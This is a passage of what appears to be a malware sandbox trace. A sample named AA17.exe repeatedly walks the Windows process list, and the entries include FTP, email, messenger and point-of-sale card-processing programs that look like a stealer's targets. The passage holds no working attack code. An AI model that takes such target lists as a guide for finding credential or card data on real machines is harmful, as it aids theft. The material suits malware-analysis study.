dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0240.912] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0240.916] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0240.920] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0240.924] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0240.927] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0240.931] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0240.935] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0240.940] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0240.944] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0240.948] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0240.952] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0240.956] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0240.959] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0240.964] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0240.967] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0240.971] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0240.980] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0240.984] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0241.019] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0241.023] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0241.025] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0241.027] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0241.029] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0241.031] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0241.033] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0241.035] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0241.037] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0241.039] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0241.040] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0241.043] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0241.052] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0241.056] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0241.058] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0241.060] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0241.061] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0241.063] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0241.066] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0241.068] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0241.070] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0241.072] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0241.073] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0241.075] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.077] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0241.079] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0241.081] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0241.082] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0241.084] CloseHandle (hObject=0x21ec) returned 1 [0241.084] Sleep (dwMilliseconds=0x64) [0241.086] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0241.098] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.101] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.103] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.105] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.107] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.109] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.111] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.130] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.138] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.145] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.150] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.152] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.154] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.156] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.158] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.160] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.165] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.204] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.237] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.240] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.242] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0241.244] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.247] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.249] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0241.251] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0241.253] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0241.256] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0241.258] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0241.260] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0241.263] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0241.265] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.275] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0241.279] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0241.282] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0241.284] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.288] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0241.291] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, 